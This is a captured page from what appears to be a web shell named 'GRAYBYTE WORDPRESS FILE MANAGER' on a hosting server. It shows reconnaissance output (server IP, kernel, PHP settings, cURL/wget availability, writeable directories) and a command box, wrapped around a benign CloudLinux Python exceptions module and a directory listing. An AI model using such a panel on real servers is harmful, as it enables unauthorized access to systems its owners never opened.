GRAYBYTE WORDPRESS FILE MANAGER5202

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/cloudlinux/venv/lib/python3.11/site-packages/ssa/internal/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/ssa/internal//exceptions.py
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

"""
This module contains custom exception classes
"""
import json


class SSAError(Exception):
    """
    SSA internal exception class.
    Adds an 'error' status and stores information about occurred exception.
    Provides JSON encoded info about occurred exception.
    """

    def __init__(self, message: str, *, flag: str = 'error',
                 extra: dict = None):
        super().__init__(message)
        self.status = 'error'
        self.reason = message
        self.extra_data = extra
        self.type_flag = flag

    def __str__(self) -> 'json str':
        if self.type_flag == 'warning':
            msg = {
                'result': 'success',
                'warning': self.reason
            }
        else:
            msg = {
                'result': self.reason
            }
        return json.dumps(msg)


class SSAAgentError(SSAError):
    """
    SSA Agent exception class
    """


class SSAManagerError(SSAError):
    """
    SSA Manager exception class
    """


class SSAMailerError(SSAError):
    """
    SSA Mailer exception class
    """

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 01 2025 08:30:33
root / root
0755
__pycache__
--
May 01 2025 08:30:39
root / root
0755
__init__.py
0.167 KB
April 10 2025 08:42:28
root / root
0644
constants.py
0.894 KB
April 10 2025 08:42:28
root / root
0644
exceptions.py
1.258 KB
April 10 2025 08:42:28
root / root
0644
mailer.py
5.386 KB
April 10 2025 08:42:28
root / root
0644
tools.py
2.263 KB
April 10 2025 08:42:28
root / root
0644
utils.py
15.533 KB
April 10 2025 08:42:28
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF